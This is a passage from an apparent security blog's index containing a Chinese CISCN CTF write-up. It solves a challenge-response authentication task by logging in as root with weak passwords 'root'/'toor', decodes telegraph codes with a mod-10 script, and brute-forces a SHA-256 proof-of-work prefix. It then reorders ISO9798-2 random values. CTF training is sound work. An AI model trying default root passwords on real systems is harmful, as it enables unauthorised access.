基于挑战码的双向认证2非预期 弱密码 su root、toor 密码 签到电台根据公众号给出的提示,得到了“弼时安全到达了”所对应的7个电码: 1732 2514 1344 0356 0451 6671 0055 知道是要从密码表截取前28位,每位相加然后模除以10,加不进位,减不借位 脚本: 123456789key = '6561607990115808526135662113'nums = '1732251413440356045166710055'for i in range(0,28): print((int(key[i])+int(nums[i])) % 10,end="")#7293858303555154561291372168 用url传参把结果传进去,就能拿到flag ISO9798申请容器,用自己的服务器 nc 容器 根据提示爆破四位的字符串 脚本: 1234567891011121314151617181920212223from hashlib import sha256 s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY0123456789' for i in s: for j in s: for k in s: for l in s: string = i+j+k+l+'xBSIsJVew5i1em0k' b = sha256(string.encode('utf-8')).hexdigest() if (b == 'fd5cfd228da08b9b788e3c2290268eca55f98581c3c54e2c577dcb051de50071'): print(string) 输入个数字作为RB的值 根据题目提示参考ISO9798-2标准,对RA和RB做分割提取和拼接 https://www.doc88.com/p-1496121116297.html 1234567s = '0dc7b82d345c2cdfee36dc1c7d5a397a78e6af74fa2bd810be55dd3cefb1afe96f5a0acdd3a17922baaf31ea767d99e2'ra = s[0:32]rb = s[32:64]print(rb+ra) 输入计算的值,得到flag","categories":[{"name":"CTF","slug":"CTF","permalink":"https://oceansec.github.io/categories/CTF/"}],"tags":[{"name":"CISCN,wp","slug":"CISCN-wp","permalink":"https://oceansec.github.io/tags/CISCN-wp/"}]}],"categories":[{"name":"渗透测试","slug":"渗透测试","permalink":"https://oceansec.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"},{"name":"社工","slug":"社工","permalink":"https://oceansec.github.io/categories/%E7%A4%BE%E5%B7%A5/"},{"name":"RedTeam","slug":"RedTeam","permalink":"https://oceansec.github.io/categories/RedTeam/"},{"name":"黑苹果","slug":"黑苹果","permalink":"https://oceansec.github.io/categories/%E9%BB%91%E8%8B%B9%E6%9E%9C/"},{"name":"介绍","slug":"介绍","permalink":"https://oceansec.github.io/categories/%E4%BB%8B%E7%BB%8D/"},{"name":"总结","slug":"总结","permalink":"https://oceansec.github.io/categories/%E6%80%BB%E7%BB%93/"},{"name":"Windows","slug":"Windows","permalink":"https://oceansec.github.io/categories/Windows/"},{"name":"钓鱼","slug":"钓鱼","permalink":"https://oceansec.github.io/categories/%E9%92%93%E9%B1%BC/"},{"name":"内网","slug":"内网","permalink":"https://oceansec.github.io/categories/%E5%86%85%E7%BD%91/"},{"name":"博客搭建","slug":"博客搭建","permalink":"https://oceansec.github.io/categories/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/"},{"name":"CTF","slug":"CTF","permalink":"https://oceansec.github.io/categories/CTF/"}],"tags":[{"name":"云安全","slug":"云安全","permalink":"https://oceansec.github.io/tags/%E4%BA%91%E5%AE%89%E5%85%A8/"},{"name":"钓鱼","slug":"钓鱼","permalink":"https://oceansec.github.io/tags/%E9%92%93%E9%B1%BC/"},{"name":"靶场,Redteam,内网","slug":"靶场-Redteam-内网","permalink":"https://oceansec.github.io/tags/%E9%9D%B6%E5%9C%BA-Redteam-%E5%86%85%E7%BD%91/"},{"name":"黑苹果","slug":"黑苹果","permalink":"https://oceansec.github.io/tags/%E9%BB%91%E8%8B%B9%E6%9E%9C/"},{"name":"介绍","slug":"介绍","permalink":"https://oceansec.github.io/tags/%E4%BB%8B%E7%BB%8D/"},{"name":"总结","slug":"总结","permalink":"https://oceansec.github.io/tags/%E6%80%BB%E7%BB%93/"},{"name":"windows,mimikatz","slug":"windows-mimikatz","permalink":"https://oceansec.github.io/tags/windows-mimikatz/"},{"name":"Windows","slug":"Windows","permalink":"https://oceansec.github.io/tags/Windows/"},{"name":"环境搭建,调试","slug":"环境搭建-调试","permalink":"https://oceansec.github.io/tags/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA-%E8%B0%83%E8%AF%95/"},{"name":"博客搭建","slug":"博客搭建","permalink":"https://oceansec.github.io/tags/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/"},{"name":"CISCN,wp","slug":"CISCN-wp","permalink":"https://oceansec.github.io/tags/CISCN-wp/"}]}